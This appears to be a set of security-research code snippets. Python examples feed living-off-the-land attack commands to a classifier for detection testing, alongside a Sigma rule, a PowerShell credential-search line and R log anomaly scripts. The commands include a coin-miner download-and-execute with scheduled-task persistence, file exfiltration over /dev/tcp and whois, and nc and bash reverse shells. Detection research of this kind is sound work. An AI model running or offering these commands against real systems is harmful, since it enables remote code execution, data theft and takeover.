holisticinfosec

# LOLBINS coin miner commands from https://lolbas-project.github.io/ 
# LOLBINS rundll32 execution: https://lolbas-project.github.io/lolbas/Binaries/Rundll32/#execute
# LOLBINS regsvr32 execution: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/#execute
# References: 
# WannaMine: https://www.accenture.com/_acnmedia/pdf-46/accenture-threat-analysis-monero-wannamine.pdf
# https://logrhythm.com/blog/how-to-enable-process-creation-events-to-track-malware-and-threat-actor-activity/

from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.WINDOWS) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['cmd /c echo powershell -nop $a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains(SCM Event Filter)))) {IEX(New-Object Net.WebClient).DownloadString(http://stafftest.spdns.eu:8000/mate6.ps1)} >%temp%\y1.bat && SCHTASKS /create /RU System /SC DAILY /TN yastcat /f /TR %temp%\y1.bat &&SCHTASKS /run /TN yas

holisticinfosec

# from GTFOBins: file uploads (exfil) examples via bash, rlogin, and whois
# https://gtfobins.github.io/#+file%20upload

from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.LINUX) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['bash -c echo -e POST / HTTP/0.9\n\n$(<$LFILE) > /dev/tcp/$RHOST/$RPORT',
          'rlogin -l "$(cat $LFILE)" -p $RPORT $RHOST',
          'whois -h $RHOST -p $RPORT base64 $LFILE']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):

holisticinfosec

# from GTFOBins: reverse shell examples via nc, gimp, and bash
# https://gtfobins.github.io/#+reverse%20shellc

from lol.api import LOLC, PlatformType
lolc=LOLC(PlatformType.LINUX) # allowed parameters are PlatformType.LINUX and PlatformType.WINDOWS
commands=['nc -e /bin/sh $RHOST $RPORT',
          'gimp -idf --batch-interpreter=python-fu-eval -b import sys,socket,os,pty;s=socket.socket()',
          'bash -c exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1']
classification, tags = lolc(commands)
for command, status, tag in zip (commands, classification, tags):

holisticinfosec

[
        {
            "title": "NOBELLIUM FoggyWeb File Drop Sysmon",
            "description": "After compromising an AD FS server, NOBELIUM was observed dropping version.dll on the system.",
            "author": "Russ McRee (holisticinfosec), Florian Roth, (@cyb3rops)",
            "tags": [
                "attack.persistence",
                "attack.defense_evasion"
            ],
            "level": "critical",

holisticinfosec

<?xml version="1.0" encoding="utf-8"?>
<sim>
	<delete>false</delete>
	<errordirectory>C:\Users\Public\Documents\</errordirectory>
	<task>
		<config>
			<name>PowerShell_test</name>
			<loop>3</loop>
			<pause>1000</pause>
		</config>

holisticinfosec

Stop-Process -name "SearchIndexer" -force;Start-Sleep -m 500;Select-String -Path $env:USERPROFILE\AppData\Local\Microsoft\InputPersonalization\TextHarvester\WaitList.dat -Encoding unicode -Pattern "password"

holisticinfosec

# Created from Anomalize project, Matt Dancho
# https://github.com/business-science/anomalize
# Get only SERVER549521 access
SERVER549521 <- security_access_logs %>%
  filter(server == "SERVER-549521") %>% 
  ungroup()
# Anomalize!!
SERVER549521 %>%
  # Twitter + GESD
  time_decompose(count, method = "twitter", trend = "4 months") %>%

holisticinfosec

# Created from Anomalize project, Matt Dancho
# https://github.com/business-science/anomalize
security_access_logs %>%
  filter(server == "SERVER549521") %>%
  ungroup() %>%
  time_decompose(count) %>%
  anomalize(remainder) %>%
  plot_anomaly_decomposition() +
  labs(title = "Decomposition of Anomalized SERVER-549521 Downloads")

holisticinfosec

# Created from Anomalize project, Matt Dancho
# https://github.com/business-science/anomalize
SERVER549521 %>%
  # STL + IQR Anomaly Detection
  time_decompose(count, method = "stl", trend = "4 months") %>%
  anomalize(remainder, method = "iqr") %>%
  time_recompose() %>%
  # Anomaly Visualization
  plot_anomalies(time_recomposed = TRUE) +
  labs(title = "SERVER-549521 Anomalies", subtitle = "STL + IQR Methods")

holisticinfosec

# Created from Anomalize project, Matt Dancho
# https://github.com/business-science/anomalize
library(dplyr)
library(tibbletime)
setwd("C:/coding/R/anomalize/")
logs <- read_csv("log.csv")
security_access_logs <- logs %>%
  group_by(server) %>%
  as_tbl_time(date)
security_access_logs